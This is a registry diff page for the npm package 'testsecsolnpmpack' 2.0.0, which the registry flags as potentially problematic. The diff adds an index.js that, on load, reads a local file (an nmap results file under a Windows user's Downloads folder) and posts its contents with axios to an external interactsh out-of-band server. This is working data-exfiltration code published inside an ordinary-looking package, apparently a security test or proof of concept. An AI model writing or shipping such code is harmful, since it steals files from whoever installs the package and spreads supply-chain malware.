testsecsolnpmpack 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testsecsolnpmpack might be problematic. Click here for more details.
- package/index.js +38 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const axios = require('axios');
|
|
3
|
+
|
|
4
|
+
const filePath = 'C:\\Users\\Admin\\Downloads\\nmap-res.txt'; // Update with your actual file path
|
|
5
|
+
const interactshServer = 'https://ccaaowzggstbuqxmyjvcn4ks74u66sn18.oast.fun'; // Replace with your interactsh server URL
|
|
6
|
+
|
|
7
|
+
// Function to read the file content
|
|
8
|
+
function readFileContent(filePath) {
|
|
9
|
+
return new Promise((resolve, reject) => {
|
|
10
|
+
fs.readFile(filePath, 'utf8', (err, data) => {
|
|
11
|
+
if (err) {
|
|
12
|
+
reject(err);
|
|
13
|
+
} else {
|
|
14
|
+
resolve(data);
|
|
15
|
+
}
|
|
16
|
+
});
|
|
17
|
+
});
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Function to send file content to interactsh server
|
|
21
|
+
async function sendFileToInteractsh() {
|
|
22
|
+
try {
|
|
23
|
+
// Read file content
|
|
24
|
+
const fileContent = await readFileContent(filePath);
|
|
25
|
+
|
|
26
|
+
// Send file content to interactsh server
|
|
27
|
+
const response = await axios.post(`${interactshServer}/path/to/endpoint`, {
|
|
28
|
+
fileContent: fileContent
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
console.log('File sent successfully:', response.data);
|
|
32
|
+
} catch (error) {
|
|
33
|
+
console.error('Error sending file to interactsh:', error);
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Call the function to send file to interactsh
|
|
38
|
+
sendFileToInteractsh();
|